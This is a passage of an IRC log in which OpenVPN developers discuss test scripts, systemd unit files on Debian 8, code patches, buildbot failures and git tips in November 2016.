--continue 07:58 <@cron2> mattock: or wait a bit longer then there is only one left :) 07:58 <@dazo> :) 07:58 <@vpnHelper> RSS Update - gitrepo: Make sure that all relevant files under test go to release tarballs <https://github.com/OpenVPN/openvpn/commit/e81023f00bbc503c41cea0a988a0ac00edae754a> || Fix update_t_client_ips.sh for out of tree builds <https://github.com/OpenVPN/openvpn/commit/2af1fa8b19e9723b29f4a4c198f61478ae9e688e> 07:59 < slypknot> dazo: instead of trying this t_client stuff (i will wait for final) I am trying work out why debian 8 fails to use your unit files. 08:00 <@dazo> slypknot: that makes at least me most happy ... ;-) 08:00 <@mattock> cron2: it is always good to learn more Git magic, so I shall rebase interactively 08:01 <@dazo> mattock: to make it easier now, as cron2 have pushed out stuff ... first do a normal fetch + rebase ... then git log, and then git rebase -i 08:01 <@dazo> (if needed with -i) 08:04 <@cron2> slypknot: please add FPING_EXTRA_ARGS="<what you want to see>" to your t_client.rc files now, so we no longer see errors from your buildbot :-) 08:04 <@vpnHelper> RSS Update - gitrepo: Allow passing extra arguments to fping/fping6 in t_client.rc <https://github.com/OpenVPN/openvpn/commit/6f17e18be0d6ab801704400abcc6b17d4fed9650> 08:10 < slypknot> cron2: will do 08:12 <@mattock> cron2: revamped 2/4 on the list 08:12 <@mattock> works based on light testing 08:12 < slypknot> cron2: just to be sure, i only add that one line once to each t_client.rc bbslave 08:14 <@cron2> obviously not "<what you want to see>" there but "-i ..." 08:16 < slypknot> obv .. I am testing with "-i 250" which worked for my tests .. 08:16 <@mattock> slypknot, cron2: make sure you edit your t_client.rc's ... the out-of-tree fix touched that one also 08:16 <@mattock> except that it could only touch t_client.rc-sample, of course 08:17 <@mattock> in-tree builds probably work without modifications to t_client.rc, but out-of-tree probably not 08:18 <@dazo> and that's expected ... t_client.rc is site specific ... the one we use is crafted for us 08:19 <@cron2> mattock: ? 08:19 <@cron2> ah, maybe the "where to find the t_client_ips.rc" bit 08:19 <@mattock> -if [ -r "${top_srcdir}/t_client_ips.rc" ]; then 08:19 <@mattock> - . "${top_srcdir}/t_client_ips.rc" 08:19 <@mattock> +if [ -r "${top_builddir}/t_client_ips.rc" ]; then 08:19 <@mattock> + . "${top_builddir}/t_client_ips.rc" 08:19 <@mattock> yes 08:19 <@dazo> mattock: we should not install any t_client.rc files ... we shouldn't touch it at all. We should only ship t_client.rc-sample as an example 08:20 <@dazo> ahh 08:20 <@mattock> indeed, which is the problem 08:20 <@cron2> dazo: all well, but *if* someone is already using this, they might need to fix :-) 08:20 * cron2 is just including ../t_client_ips.rc :) 08:20 <@mattock> someone as in slypknot, cron2 and me :) 08:20 <@mattock> anyways, probably not a problem for the buildslaves, but something to keep in mind 08:21 <@vpnHelper> RSS Update - gitrepo: Prevent generation of duplicate EXPECT_IFCONFIG entries <https://github.com/OpenVPN/openvpn/commit/82a601f1e23d1c37bc2120dca12cadc4dbf2b4fc> 08:22 <@cron2> so, 4 for mattock, 4 for cron2, 1 pending for mattock, 1 for review for cron2... syzzer, no patches today? 08:23 <@mattock> cron2: I'll try to reproduce and fix the --up thing later today/tomorrow 08:23 < slypknot> mattock: my t_client.rc's all appear to be in order but then I could not figure out how to test your patches 08:23 <@mattock> cron2: if you already know the solution, feel free to share :) 08:23 <@mattock> slypknot: which one in particular? 08:24 <@cron2> mattock: "... else up='' ; fi 08:24 <@mattock> ah, so obvious 08:24 <@mattock> interesting how difficult it is to see these... :) 08:25 <@cron2> computers are evil 08:26 <@dazo> ... because they do exactly what we tell them to ;-) 08:26 <@mattock> yep :P 08:26 <@mattock> the fix is trivial, so I will send a patch later today I hope - need to split now 08:27 <@dazo> d12fk's patch 5/7 increased the review challenge again :) 08:32 <@dazo> hmm .... git diff --histogram made it somewhat easier to review 08:37 <@mattock> more git magic :) 08:38 <@dazo> :) 08:40 * dazo heads out ... back in the evening again 08:40 < slypknot> dazo: debian8 appears to use sysV & systemd .. apt-get install openvpn gives the normal output plus this: 08:40 < slypknot> Setting up openvpn (2.3.12-debian0) ... 08:40 < slypknot> insserv: warning: current start runlevel(s) (empty) of script `openvpn' overrides LSB defaults (2 3 4 5). 08:40 < slypknot> insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `openvpn' overrides LSB defaults (0 1 6). 08:41 < slypknot> oh he's gone .. maybe later 09:04 <@d12fk> dazo: yeah argv_prep_format() is a bit tricky 09:58 <@cron2> wtf... we have a huge bunch of tickets with "release 2.5" als milestone 10:05 * cron2 bumps #718 at mattock 10:36 <@syzzer> cron2: well, my CRL patch is awaiting its second ack ;) 10:38 * cron2 is shoveling through our heap of unloved trac tickets 13:44 <@syzzer> lev__: you around? 13:45 < lev__> syzzer: pong 13:45 <@syzzer> I was wondering, why does the floating code first do hash_remove(), then update some stuff, then hash_add() - instead of do_stuff, hash_remove(), hash_add() ? 13:45 <@syzzer> in multi_process_float() (multi.c) 13:45 <@syzzer> nice, you're actually around :D 13:47 < lev__> got an irssi notification on Android 13:47 <@syzzer> oh, cool, I guess I will need to configure that some time too 13:48 <@syzzer> I was considering the following change: https://gist.github.com/syzzer/98ef9bc5f57ee0ecb1069206fee0232a 13:48 <@vpnHelper> Title: gist:98ef9bc5f57ee0ecb1069206fee0232a · GitHub (at gist.github.com) 13:49 <@cron2> sounds like a plan... if we have the update thing, why not use it 13:49 <@cron2> maybe whoever wrote the DEF_AUTH stuff didn't know :) 13:50 <@syzzer> cron2: yes, that part I'm sure of. The lines above is where I'm wondering if there's some reason to do it the old way. 13:50 <@cron2> is there a way to exit the function in between? 13:50 <@syzzer> The nice this is that this should be faster too 13:50 < lev__> code inside DEF_AUTH is from previous floating patch that was NACKed which recalculated HMAC to find corresponding session 13:51 <@syzzer> no, no way to exit in between 13:52 < lev__> syzzer: you also removed hash_remove from ifdef block 13:52 <@syzzer> lev__: yes, because I change the 'replace' parameter from false to true 13:52 <@cron2> lev__: hash_add with "true" will do an update if the entry is already there 13:53 <@syzzer> (I updated the gist to have slightly more context - easier to read) 13:55 < lev__> regarding hash remove - do stuff - hash add - I cannot recall any specific reason, I checked peer-id v1 and it was there too. It is probably taken from that NACKed patch, too 13:57 <@syzzer> ok, good. I couldn't find a reason why it should be ordered this way either. 13:57 <@syzzer> I'll turn this into a patch on the list then 14:02 < lev__> change looks reasonable, but we should probably test it under float load - current version has been stable and running in our production for more than year 14:02 <@syzzer> lev__: yeah, makes sense 14:03 <@syzzer> is that something you could help out with - I do not have a setup with many floating clients 14:03 <@syzzer> just me and my mobile phone :p 14:03 < lev__> well, I do not work on that project anymore :( 14:04 <@syzzer> ah, right, maybe pass the patch along to some colleague who is? 14:06 < lev__> yep, I could ask 14:14 <@syzzer> cron2: you were requesting patches, right? 14:14 <@cron2> syzzer: indeed! 14:14 <@syzzer> well, enjoy ;) 14:18 <@cron2> easy ones, not "I need to run a setup with many clients and actually test that stuff" :) 14:18 <@syzzer> well 1/5 of the tls-crypt set should be quite easy 14:31 <@plaisthos> syzzer: ah cool patches on the list 14:32 <@cron2> yep :-) - where are you flying to? 14:33 <@plaisthos> syzzer: btw. you should add a 6/5 commits that adds doc/tls-crypt.txt with the commit message of 3/5 14:44 <@syzzer> plaisthos: I put the functional description in tls-crypt.h 14:44 <@syzzer> and decided the 'considerations' were better in the commit msg 14:45 <@syzzer> the stuff in tls-crypt.h also gets processed into nice-looking doxygen 14:55 <@syzzer> dazo: looking at your auth-failed patch now 14:55 <@syzzer> adding the struct context everywhere doesn't look pretty :( 14:55 <@syzzer> ... but I'm not sure if I can come up with a better approach either ... 15:10 <@dazo> syzzer: yeah ... I'm really open for alternatives to make this simpler. I also looked at the send_auth_failed() function so it wouldn't depend on the context object ... but further down that stack it needs access to some of the scheduling structs which are inside the context object 15:11 <@syzzer> indeed 15:11 <@syzzer> looks like the only real way to fix this is REFACTOR ALL TEH CODE to add proper error handling 15:12 <@dazo> could probably make the scheduling stuff global ... but that won't be pretty either, and I considered the risk of adding new bugs too big 15:12 <@dazo> hehehe ... yeah 15:13 <@syzzer> I was hoping for 'two simple patches to review' :p 15:13 <@dazo> the second path is far easier! ;-) 15:13 <@syzzer> but I clearly don't have enough focus left for this, so will have to postpone to some other time 15:14 <@dazo> sure, no worries! I'm happy you started looking at it! 15:34 <@syzzer> cron2: one more simple patch, special delivery for you 15:51 <@cron2> nice! 16:07 < slypknot> dazo: are you areound ? 16:13 < slypknot> well. please read this again: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg12967.html 16:13 <@vpnHelper> Title: Re: [Openvpn-devel] [PATCH] systemd: Improve the systemd unit files (at www.mail-archive.com) 16:21 < slypknot> i fixed the problem and provided the solution, your test is unnecessary. 17:19 <@dazo> slypknot: yes, it is needed ... your changes does something completely different 17:20 <@dazo> slypknot: I'd like to see the old openvpn package installed ... then using the new unit files using RuntimeDirectory=openvpn-client (or openvpn-server) ... and then see if the error you had disappeared 17:21 <@dazo> just to ensure that systemd creates the proper RuntimeDirectory on-the-fly and doesn't complain 17:30 < slypknot> ok 17:33 < slypknot> even without that it does not complain .. systemd hiding stuff 17:33 <@dazo> systemd status ? journal --since today -u openvpn-client@CONFIG (or openvpn-server@CONFIG) 17:34 < slypknot> all of my tests use runtimedirectory=openvpn and all tests run at least one client and one server 17:34 * dazo is lost 17:34 < slypknot> the problem i experienced was due to some sort of overlap with sysvinit 17:34 <@dazo> The error you pointed at indicated that there was a RuntimeDir conflict 17:35 <@dazo> status=233/RUNTIME_DIRECTORY 17:36 < slypknot> a quick revue: each of my VMs runs 1x server + 1x client all using RuntimeDir=openvpen (as per your unit file) 17:36 < slypknot> i also ran a couple with 2x client + 2x server 17:36 <@dazo> alright ... and that now suddenly works on Deb? 17:36 < slypknot> exactly 17:37 < slypknot> after removing 2.3.12 from debian, your unti files work for multiple server + client configs 17:37 < slypknot> i am happy to continue testing but 17:37 <@dazo> can you start something via the openvpn.service (provided by the current released openvpn deb package)? 17:37 < slypknot> the issue i encountered was due to sysvinit overlapping somehow with susyemd 17:38 < slypknot> I can start with that unit file as well 17:38 <@dazo> right, and that matches what abi (deb package maintainer for openvpn) said yesterday ... there are some glue to ensure the old sysv approach works under systemd 17:38 < slypknot> i do also start my own unit files on ALL my vms .. mixed in with yours 17:39 <@dazo> that's good! 17:39 < slypknot> the only issue i encountered was sysvinit vs systemd 17:39 <@dazo> I just want to be 100% sure these new files does not conflict in any way 17:39 < slypknot> all other issues were just my config fitting in 17:39 < slypknot> i will test for you in details agian 17:40 < slypknot> that is sysvinit vs systemd on debian 8 only 17:40 <@dazo> and only the latest deb is needed .... thank you so much! 17:40 <@dazo> yeah! 17:40 <@plaisthos> dazo: I know I am late to the party but I could test it on ubuntu 17:41 <@plaisthos> which is similar/identical to debian 8 I think 17:41 < slypknot> plaisthos: i do ubuntu anyway but you can if you want 17:41 <@dazo> plaisthos: if you have some spare cycles and nothing more fun to do ... I don't mind even more testing :) 17:42 < slypknot> overall they may seem identical .. but that is clearly not the case 17:42 <@dazo> plaisthos: primary goal is that openvpn-{client,server}@.service unit files should not conflict at all with existing releases ... to ensure an upgrade of openvpn doesn't break stuff 17:43 <@dazo> currently we've only seen some odd behaviours in regards to the RuntimeDirectory= feature in the unit files 17:44 < slypknot> one issue which i documented .. and then both you and alberto simply overlooked 17:44 < slypknot> hence my feedback .. 17:45 <@dazo> it's not overlooked ... abi needs to continue to ship the sysv approach for 2.4, to ensure openvpn is gracefully upgradable ... we just need to understand why you got the status=233/RUNTIME_DIRECTORY error so we can avoid that 17:46 <@dazo> but the goal is that 2.4 on Deb will _also_ ship with our new unit files too 17:46 < slypknot> and that was my point exactly ! why does 2.3.13 conflict in this way with systemd 17:46 < slypknot> ?? 17:46 < slypknot> on debian 8 17:47 <@dazo> we don't know ... all we know is status=233/RUNTIME_DIRECTORY .... which makes RuntimeDirectory= the primary suspect 17:47 < slypknot> systemctl --version = 215 17:47 < slypknot> the oldest i see 17:47 < slypknot> arch = 231 17:48 < slypknot> centos7 219 17:49 <@dazo> well, that's just something we need to relate to .... I'd also not put 100% confidence in that really being 215 without having had a look at the source deb stuff ... there might be plenty of patches moving it far beyond 215, but they're not allowed to touch the version number through such patching 17:49 < slypknot> ubuntu 16.06 229 17:49 < slypknot> debian has the oldest i see and that is fully upto date 17:50 <@dazo> (my favourite example is RHEL5, which have a 2.6.18 kernel .... but it got support for KVM, which arrived in the 2.6.24 kernel, iirc) 17:50 <@dazo> (and RHEL5 is still using the 2.6.18 version label) 17:51 <@dazo> you will need to look at which patches have been implemented on top of the baseline .... I have no doubt 215 is the baseline, but we don't know which patches have arrived on top of that base line 17:51 < slypknot> which seemed to have even more problems : runtimedir=openvpn-%i .. no .. 17:51 < slypknot> the good old systemd debate rages on ;) 17:51 <@dazo> RuntimeDirectory= does not expand those %t 17:52 <@dazo> why it doesn't I dunno yet 17:52 < slypknot> i'll do the tests .. and let you know \:) 17:53 * slypknot is testing now 17:56 < slypknot> FYI: if you have more than one server or client starting then if this does not work for =openvpn then it will not work for =openvpn-{server/client} either 17:56 < slypknot> sort of my point all along 17:56 <@dazo> that's one of the side effects I'm digging into as well 17:57 < slypknot> i am sure it is to do wuth privatetemp 17:57 <@dazo> I doubt so, privatetmp is unique per process/service 17:59 <@dazo> I've only glared quickly at the systemd source code ... but what I can grasp so far is that RuntimeDirectory= does not do any % expanding as the Exec*= settings does 18:01 < slypknot> ok, to be sure: you want me to test multiple clients + servers on debian 8 with 2.3.x and using RinTimeDirectory=openvpn-{server/cleint} in unit file 18:01 <@dazo> yeah 18:01 < slypknot> its a fkn waste of time but ok 18:04 <@dazo> you can say a lot about Lennart Poettering ... but the code he writes is truly well written and easy to dive into 18:06 < slypknot> i have no doubt about that .. i like systemd .. i am just saying your test is dumb 18:07 <@dazo> then I am missing the details to understand why that test is dumb 18:08 < slypknot> RunTimeDirectory=openvpn vs openvpn-server or openvpn-client .. technically no difference if i start 2 servers and 2 clients on one machine 18:09 <@dazo> but ... that is to see if it conflicts with sysv stuff! I need to understand where the status=233/RUNTIME_DIRECTORY error comes from 18:09 < slypknot> ad i do start four instances on other OSs with just =openvpn only 18:10 <@dazo> And if that disappears when changing RuntimeDirectory ... that is an indication we should not use 'openvpn' 18:10 < slypknot> pfft .. 18:10 < slypknot> i'll test and you'll see 18:10 <@dazo> but we don't see those errors on those other distros ... we see it on Deb 8, which is why we need to understand why that happens there 18:10 < slypknot> abd we know why 18:11 <@dazo> not 100% ... you say you fixed it by uninstalling the openvpn package ... that's not anywhere close to a solution Deb users can use 18:11 <@dazo> And just ftr ... I tested the %i suggestion .... and this is what I see in the logs: [/etc/systemd/system/openvpn-client@.service:11] Runtime directory is not valid, ignoring assignment: openvpn/client/%i 18:12 < slypknot> i agree openvpn-%i was a bad idea 18:12 <@dazo> which is a clear indication that %i is not expanded, and according to how I could grasp the code .... such kind of evidence is what I'm looking for 18:13 < slypknot> to me it seems that sysvinit is autostarting the service while systemd is also starting .. so something is over lapping 18:15 <@dazo> that doesn't make sense ... becauase the sysvinit stuff is usually triggered by systemd ... in most cases it is just a wrapper around some systemd calls, but initiated via a shell script instead of a unit file (and systemd is clever enough to catch and understand that properly) 18:15 < slypknot> not having release openvpn installed means that there is no sysv service to start = systemd works fine 18:15 < slypknot> and sysv threw a warning which i documented 18:16 <@dazo> or systemctl status openvpn .... indicates it is not autostarted (systemctl enable openvpn) 18:16 < slypknot> your kidding right ? 18:16 < slypknot> you think i forgot that ? 18:17 < slypknot> ok .. chill out 18:17 < slypknot> i know what tests you want done 18:17 < slypknot> i'll do 'em 18:17 <@dazo> if you have debian openvpn package installed and the error is not appearing, something is different ... my telepathic skills are quite limited, so I have no idea what you have done or not 18:18 < slypknot> i did not forget to enable and test and reboot and document what i found 18:18 <@dazo> good! 18:19 < slypknot> see you tomorrow ;) 18:20 < slypknot> off-topic: vote lunatic ! 18:23 < slypknot> disable the damn sysv service ! 18:23 * slypknot slaps head 18:24 < slypknot> testing 18:39 < slypknot> disabling init.d/openvpn did not make any diffference --- Day changed Wed Nov 09 2016 01:30 <@mattock> slypknot, dazo: on Debian 8 systemd+openvpn work a bit funkily 01:31 <@mattock> for example, I believe that on CentOS 7 "systemctl enable openvpn@<something>" works, but on Debian 8 not 01:32 <@mattock> also, "systemctl status openvpn" will always report "disabled", and "dead" 01:32 <@mattock> with the stock unit files, that is 04:41 <@dazo> mattock: that's might be due to the openvpn service on is trying to imitate the sysv-init script .... if it is due to openvpn being a sysv-init script under /etc/rc.d or if it is it's own unit file with some more magic, I don't know yet 04:42 * dazo will install Deb 8 today on a VM and have a closer look 06:09 <@cron2> mattock: thanks! 06:18 <@mattock> cron2: np 07:04 <@vpnHelper> RSS Update - gitrepo: Fix a logic problem in handling of --up scripts in t_client.sh <https://github.com/OpenVPN/openvpn/commit/dd9a4f0ecf06e907c57f4fa7ab035b897268d54a> 08:44 < slypknot> looks like my buildbots worked ok ? 08:45 <@dazo> from the last git push, I've only seen plaisthos build errors .... tincan boxes did not complain 08:49 < slypknot> cool 08:49 <@dazo> I thought, either these boxes got fixed or turned off :-P 08:50 <@dazo> I guess we can say "fixed" now :) 08:50 < slypknot> well i noticed that arch did a build and i checked the fping logs and they looked ok esp. -b3000 08:50 <@dazo> nice! 08:51 < slypknot> i am still faffing about testing dor dazo so the others may come and go for a while 08:51 <@dazo> I'm right now installing a VM with Deb 8 ... I need to really understand what is happening here 08:51 < slypknot> sorry dazo , i though you were cron2 ;) 08:51 <@dazo> heheh ... well, we can both be grumpy at times :-P 08:52 < slypknot> btw- your second change oRuntimeDir=openvpn-server / client seems top have worked 08:52 < slypknot> using 2.3.13 08:52 < slypknot> i am still making sure atm 08:52 <@dazo> okay, that's a good starting point 08:53 < slypknot> i'll reply to the email when i have the details 08:55 <@dazo> When I did QA at Red Hat, we often worked in this way: If finding some unexpected behaviour, then re-test until you get the same unexpected behaviour in a repeatable way. And document all other failures along the way, including retesting. Then you start figuring out why it went bad 08:55 <@dazo> that's why I've been bitching about the re-testing and ensuring you get the same results 08:56 <@dazo> so even if it is annoying, it does provide useful input to get a proper fix in place 08:56 < slypknot> i'm sorry i get a litle cranky ;) 08:56 < slypknot> i am happy testing 08:57 <@dazo> no worries :) 08:58 < slypknot> i am currently setting up a test vpn network .. for all my vms so i can test things at short notice .. but it takes time to get everything in place first of all 08:58 <@dazo> wow, that is cool! Yeah, I know such things takes time ... but so valuable later on 09:22 < slypknot> I just did 09:22 < slypknot> "cd //" on centos7 and now pwd is // ? 09:23 < slypknot> root dir .. weird 09:23 <@dazo> heh ... yeah, that's odd! I'm seeing the same 09:23 <@dazo> could be bash bug 09:24 * dazo tries the same with fish and zsh 09:25 <@dazo> yeah, bash bug ... does not happen in other shells 09:25 <@dazo> tested tcsh as well, only bash does this 09:27 < slypknot> lol 09:27 < slypknot> i should report it 09:27 < slypknot> i found a bug in ping the otherday .. about 6 hours after the devs found it ;) 09:27 <@dazo> I just did a quick mentioning on #fedora-devel .... these guys often have pretty good overview 09:28 <@dazo> if it's known or unknown 09:28 < slypknot> sure 09:33 <@dazo> it's actually some networking related feature ... which confuses pwd, they say 09:34 < slypknot> like proto:// 09:34 <@dazo> but seems to be quite bash related feature 09:34 <@dazo> kinda, but not exactly 09:35 <@dazo> bash is quite powerful in the networking side (of all things!) ... http://www.linuxjournal.com/content/more-using-bashs-built-devtcp-file-tcpip 09:35 < slypknot> i am sure it is nothing worth worrying about, just type .. as I'm sposed to 09:41 * dazo peeks at the deb8 unit files 09:41 <@dazo> ProtectSystem= is interesting 09:42 <@dazo> pondering if we should have ProtectSystem=full ... or at least ProtectSystem=yes 09:42 <@dazo> should probably also add ProtectHome= too 09:49 < slypknot> i am nearly done with my vpn network so will be able to help test soob 09:49 < slypknot> soon* 10:34 < slypknot> i don't suppose there is a simple cheat-sheet to starting openvpn on freebsd is there ? 10:36 <@dazo> /etc/rc.d/openvpn start? 10:36 < slypknot> oh .. not service 10:36 <@dazo> ahh 10:36 <@dazo> it should be fairly similar to Linux ... but device names are different 10:36 <@dazo> tun/tap should be the same though 10:37 <@dazo> ecrist, krzee and cron2 are the gurus on BSD here though (at least which I know about) 10:37 < slypknot> fairly similar like a black bleedin hole ! 10:37 * slypknot is not fond of bsd 10:37 <@dazo> bsd is weird in it's own ways ... but network performance is quite unbeatable though 10:38 <@dazo> gentoo's emerge system actually builds quite upon the idea behind bsd ports 10:38 <@dazo> portage is probably the better name for emerge 10:39 < slypknot> i am getting on ok with gentoo (real noob) but freebsd simply confuses me 10:39 <@dazo> but from a different perspective Linux with systemd is equally alien to BSD users ;-) 10:39 < slypknot> and it seems their docs are not upto date for 11 10:39 <@syzzer> ... or to linux-without-systemd-users :p 10:39 < slypknot> systemd is easy by comparison IMHO 10:40 <@dazo> it took me a bit of getting used to systemd ... as I had the sysv methodology in my fingertips ... but once I manage to separate and not compare them to eachother, systemd is really good in many aspects 10:41 <@dazo> I'm still trying to grok the .mount units properly though, that's still a bit magic to me - especially when involving LUKS disk encryption 10:42 < slypknot> I have only one complaint about systemd (apart from it still being under heavy dev) and that is it is very long winded commands. eg: systemctl list-timers--all --no-pager 10:42 <@dazo> no bash-complete? 10:42 < slypknot> havent got round to that yet .. don't want to forget what i learned already ;) 10:42 <@dazo> :) 10:43 <@dazo> ensure you have bash-completion package installed, systemd should ship with all the needed stuff for that to work out-of-the-box 10:43 < slypknot> i looked into xtree for unix and there was one waring .. you will probably forget how to use cd and cp .. so beware 10:43 < slypknot> i did not bother in the end 10:44 < slypknot> i'll check bash-completion soon 10:45 <@dazo> I usually do: syst[TAB]c[TAB] lis[TAB]-ti[TAB] 10:45 <@dazo> (to get to your example) 10:46 < slypknot> sure 10:47 <@vpnHelper> RSS Update - tickets: #764: --management-external-key sometimes requests signatures for too long data <https://community.openvpn.net/openvpn/ticket/764> 10:47 < slypknot> how would i do this: nano $(ls) on fbsd ? 10:48 < slypknot> is it even poss ? 10:48 <@dazo> `ls` 10:48 <@dazo> probably 10:48 <@dazo> unless you install bash, iirc, fbsd uses a different shell by default 10:48 < slypknot> that one worked .. thanks 10:49 < slypknot> shell=/bin/csh 10:49 <@dazo> ahh, csh is quite different in a few aspects 10:49 <@dazo> somewhat more similar to tcsh 10:51 < slypknot> i will not moan about shells .. i realise thereis a long history ;) 10:51 <@dazo> :) 10:51 <@dazo> install bash, run chsh, and you'll be happier :-P 10:52 < slypknot> thanks :) 11:52 <@cron2> not install bash, run chsh, and you'll be MUCH happier :) 11:52 <@cron2> and who uses nano anyway? 11:55 <@cron2> dazo: wrt network performance, I think Linux is better in that by now... the BSD network stack is Way Too Old and there are just not enough devs to work on "make it really fast on multi-core systems" 12:13 <@dazo> it's several years since I've seen any performance tests between Linux and BSD, so you might be right, cron2 .... All I know is that many are still not satisfied with the network stack performance in Linux :) 12:13 <@dazo> (and the 10Gbit/s stack is truly challenging the Linux kernel) 12:18 < slypknot> sadly where M$ step in .. maybe Trump can change that (LOL) 12:19 <@dazo> nah, there's lots of traction on that area ... and Red Hat got a bunch of people working on that together with the community .... lots of financial sector companies (using RHEL) are really pushing for improved network performance, maybe especially on the latency side 12:20 <@dazo> it's not bad ... it could just be, well, better :) 12:20 < slypknot> fingers X'd 12:27 <@cron2> the BSDs traditionally had a single big kernel lock, and started with a proper SMP kernel much later than linux - so, theoretically, linux had a headstart there... :-) 12:28 <@cron2> as a side note, #425 got positive feedback in the ticket by the BSD community... so I just need an ACK to fix that :-) \o/ 12:28 <@dazo> yeah, but Linux had the BKL (Big Kernel Lock) as well, and got rid of that just a few years ago :) 12:28 * dazo looks 12:31 <@dazo> cron2: so with this one we can be satisfied with a pure code review, as pfsense and fbsd people have tested it? 12:32 <@dazo> I want to complete Heiko's patches ... then I can at least to a code-review on this one ... I don't have any bsd boxes to fully test it at 12:34 <@cron2> well, I have tested it (of course :) ), so a pure code review "he has not mixed up any pointers (this time)" should be sufficient 12:34 <@cron2> last time I mixed up "gc" and "&gc" and still got an ACK... 12:34 <@dazo> alright ... I'll put it on my list once Heikos patches are done ... unless someone else beats me to it 12:36 <@dazo> I'd expect the testing would have revealed the worst pointer mistakes by now though ... this code path is called regularly, at least if you're on the client side 12:52 <@cron2> can someone add "user question" to the "Type" category in our trac? I have #756, which really falls into that land, and want to tag it as such (answer has been provided, I want to wait for a reply) 12:53 * dazo looks 12:53 <@dazo> cron2: done! 12:54 <@cron2> thanks 12:55 <@cron2> and we might want a few more "version" entries for the OpenVPN Connect products... missing 1.0.7 for iOS, at least 12:55 <@syzzer> I'll check out 425 12:55 <@dazo> cron2: 1.0.7 added 12:56 <@cron2> \o/ 12:57 * dazo updated the StatusOfOpenvpn24 ... updated and reordered the "minor" section according to status 13:05 <@ecrist> what about bsd? 13:09 <@dazo> a lot :) 13:10 <@cron2> the BSDs all stink 13:10 <@cron2> #425, #710 13:11 <@cron2> (or our platform code stinks, and the BSDs have made kernel side changes that expose our smell) 13:11 <@dazo> heh 13:17 <@cron2> oh 13:18 <@cron2> buildbot decided to run builds and tests *now*... just when I restart the server (to break test 3 for "platforms that stink") 13:18 <@cron2> so expect some failures in compile_2 13:18 <@dazo> uh!? what triggered those builds? 13:19 <@cron2> not sure, maybe obsd60 was offline (due to community vpn restart) 13:20 <@cron2> oh, netbsd7 is offline as well 13:22 <@cron2> slypknot: what about debian-7? 13:22 <@dazo> I think he got those fixed with the EXTRA_ARGS 13:22 <@cron2> mattock: what about ubuntu 1204? 13:22 <@cron2> dazo: it's offline and missing 15 builds 13:22 <@dazo> that explains 13:33 <@cron2> *sigh* 13:34 <@cron2> "2.3 works on OpenBSD" - because they've patched the equivalent to our FreeBSD code into their ports tree, and never sent it upstream 13:35 <@cron2> dazo: is there git magic to see if a certain commit has been cherrypicked elsewhere? 13:36 <@syzzer> cron2: yeah, there is, but it's just heuristics so might be wrong 13:36 <@dazo> cron2: you have the committish where it comes from? 13:37 <@dazo> cron2: git branch --contains $commitish should then work 13:39 <@cron2> dazo: yeah, I have the master commit and want to know whether it's in 2.3 13:39 <@cron2> let me see 13:39 <@dazo> ahh, okay ... then it's a bit different 13:40 <@cron2> doesn't work... (example: e8c42658ff8df10ad56659788a73900648b9d92d) 13:40 <@dazo> check out the release/2.3 branch ... git log --grep e8c42658ff8df10ad56659788a73900648b9d92d) 13:40 <@cron2> it works if you have forked a branch that has the original, but not for cherrypicking 13:40 <@cron2> well, the --contains thing 13:40 <@cron2> the grep will of course work if I know the branches it *could* be in 13:41 <@dazo> yeah, I had a script looking through all branches and tags, but I've lost it (might have been on a RH laptop I've wiped) 13:44 <@dazo> for b in $(git branch -a |grep -v HEAD); do git log --grep df0b00c253e41cce9567be79 $b; done 13:44 <@cron2> oh, we have no freebsd11 buildslave 13:44 <@dazo> it's not very clever ... and fairly slow, but it works somehow 13:50 <@syzzer> hm, I thought git-cherry can do such a thing, but doesn't look like it... 13:51 <@cron2> expect a failure on osbd49 and obsd60 in compile_2 13:51 <@cron2> I have changed the t_client setup (on the server side) to actually make #710 visible, and hope to actually see it now 13:53 <@cron2> *sigh* 13:53 <@cron2> obsd49 has no t_client.rc for buildbot 13:53 * cron2 despairs on this testing infrastructure 13:53 <@dazo> seems like it was needed to do a little clean-up here ... 13:54 <@cron2> there's cleanup needed everywhere... both inside and "close on the outside" 13:55 <@dazo> :) 13:59 <@cron2> "test fail 3" was expected, "1b" was "do not start/stop other openvpn processes while t_client is running!" (it messes up the before/after ifconfig diffing) 14:11 <@cron2> good, openbsd 6 buildslave now fails as ordered :) 14:13 < slypknot> cron2: i did offer a fbsd11 bb .. you said you wanted to do it yrself ;) 14:17 <@syzzer> mattock: for some reason, 2.3.13 is missing in the release archive listing: https://swupdate.openvpn.org/community/releases/ 14:17 <@vpnHelper> Title: Index of /community/releases/ (at swupdate.openvpn.org) 14:17 <@syzzer> but the download link works... 14:19 <@cron2> slypknot: the VM is up and running, just the buildslave config is missing 14:20 <@cron2> so I couldn't just click on "force rebuild" but had to ssh in and run "make check" myself 14:24 <@vpnHelper> RSS Update - gitrepo: Repair topology subnet on FreeBSD 11 <https://github.com/OpenVPN/openvpn/commit/a433b3813d8c38b491d2baa7b433973f2d6cd7c6> 14:25 < slypknot> gentoo bb fails some pings have pushed -i to 500 , see if it helps 14:38 <@plaisthos> dazo: yeah, I still need to figure that out :( 14:38 <@plaisthos> or at least a working workaround 14:38 <@plaisthos> (or actually write a tap emulator) 14:42 <@cron2> plaisthos: your buildbot is failing compile_1 not compile_2 14:42 <@plaisthos> oh 14:42 <@cron2> it's still messed up wrt openssl linking 14:42 <@plaisthos> what is the error? 14:42 <@plaisthos> could forward that? 14:43 <@cron2> yep 14:44 <@cron2> ah 14:44 <@cron2> it's so easy, actually :-) 14:45 <@cron2> -L/usr/local/Cellar/openssl/1.0.2hj/lib/ 14:45 <@cron2> what's wrong with that line? ;-) 14:45 <@plaisthos> brew got updated 14:45 <@syzzer> "hj" ? 14:45 <@cron2> syzzer's spot-on :) 14:46 <@cron2> -I has 1.0.2j, -L has 1.0.2jh 14:46 <@cron2> hj 14:46 <@cron2> whatever 14:46 <@cron2> the actual link error is a bit confusing as it's not complaining about "cannot find -lcrypto" but about "a particular symbol is missing" 14:47 <@cron2> so it's picking up an older version somewhere 14:47 <@cron2> slypknot: debian-7, is that yours? 14:47 <@plaisthos> should be fixed now 14:47 <@plaisthos> typo from me 14:47 <@cron2> thanks. 1 build is pending, let's see 14:48 <@cron2> (both my openbsd slaves are *expected* to fail now, now that test 3 is actually exposing the problem instead of hiding it) 14:54 <@plaisthos> :) 15:27 < slypknot> cron2: debian-7 is mattock 15:41 < slypknot> just let me know if my BBs fail 15:46 <@cron2> IC 15:46 <@cron2> mattock: two of your BBs are offline! 15:47 <@cron2> plaisthos: you're back to 4a fails :) 15:58 <@cron2> huh, how did #717 end up being owned by 